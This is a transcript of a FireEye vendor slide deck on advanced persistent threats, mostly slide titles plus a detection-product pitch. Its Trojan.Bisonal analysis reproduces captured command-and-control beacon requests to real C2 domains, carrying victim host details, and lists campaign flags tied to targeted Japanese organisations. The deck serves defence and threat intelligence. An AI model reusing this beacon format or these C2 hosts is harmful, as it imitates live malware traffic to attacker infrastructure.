Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 1 Stopping Next-Gen Threats...
31
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 1 Stopping Next- Gen Threats Dan Walters – Sr. Systems Engineer Mgr.
-
Upload
valerie-wooldridge -
Category
Documents
-
view
219 -
download
3
Transcript of Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 1 Stopping Next-Gen Threats...
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 1
Stopping Next-Gen Threats
Dan Walters – Sr. Systems Engineer Mgr.
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 2
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 3
"We're moving towards a world where every attack is effectively zero-day… having a signatured piece of malware, that shouldn't be the foundation on which any security model works." - Chris Young, GVP Cisco Security
Tech Week Europe, September 28th 2012
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 4
High Profile APT Attacks Are Increasingly Common
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 5
The Attack Lifecycle – Multiple Stages
Exploitation of system1
3 Callbacks and control established
2 Malware binary download
CompromisedWeb server, or
Web 2.0 site
1Callback Server
IPS
32DMZ
File Share 2
File Share 1
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 6
Crimeware == for the $
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 7
Advanced Persistent Threat == Human
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 8
This is Alex == FireEye Research
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 9
The Usual Suspects
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 10
Organized…Persistent…
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 11
Reconnaissance made easy…
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 12
The Exploit
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 13
LaserMotive
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 14
CEOs are targeted
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 15
Could you stop this?
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 16
The Callback
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 17
Hidden in plain view…
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 18
Blog Post?
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 19
RSS Feed?
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 20
We’re Only Human
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 21
HR make for easy targets
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 22
Just doing my job…
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 23
NATO is a frequent spearphish target
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 24
Global Unrest
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 25
Who’s Oil is it?
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 26
The curious case of Trojan.Bisonal
• Targets 100% Japanese organizations
• Delivered via weaponized doc/xls files
• Embeds the target name into the command and control traffic
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 27
Custom “Flag” and c2 domain
GET /j/news.asp?id=* HTTP/1.1
User-Agent: flag:khi host:Business IP:10.0.0.43 OS:XPSP3 vm: proxy: �� ��Host: online.cleansite.us Cache-Control: no-cache
GET /a.asp?id=* HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: khi.acmetoy.com Connection: Keep-Alive
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 28
Other “Flag”s seen
• flag:410maff <-- ministry of agriculture, forestry, and fisheries• flag:1223• Flag:712mhi <-- mitsubishi heavy industries• Flag:727x• Flag:8080• Flag:84d• flag:boat• Flag:d2• Flag:dick• flag:jsexe• flag:jyt• Flag:m615• flag:toray• Flag:MARK 1• flag:nec01 <-- nec corporation• Flag:qqq• flag:nids <-- national institute for defense studies (nids.go.jp)• flag:nsc516 <-- nippon steel corp• flag:ihi <-- ihi corp
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 29
China is not the only threat
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 30
Multi-Protocol, Real-Time VX Engine
PHASE 1Multi-Protocol Object Capture
PHASE 2Virtual Execution Environments
PHASE 1: WEB MPS• Aggressive Capture• Web Object Filter
DYNAMIC, REAL-TIME ANALYSIS
• Exploit detection
• Malware binary analysis
• Cross-matrix of OS/apps
• Originating URL
• Subsequent URLs
• OS modification report
• C&C protocol descriptors
Map to TargetOS and
Applications
PHASE 1: E-MAIL MPS• Email Attachments• URL Analysis
Copyright (c) 2011, FireEye, Inc. All rights reserved. | CONFIDENTIAL 31
Thank You!
FireEye - Modern Malware Protection System
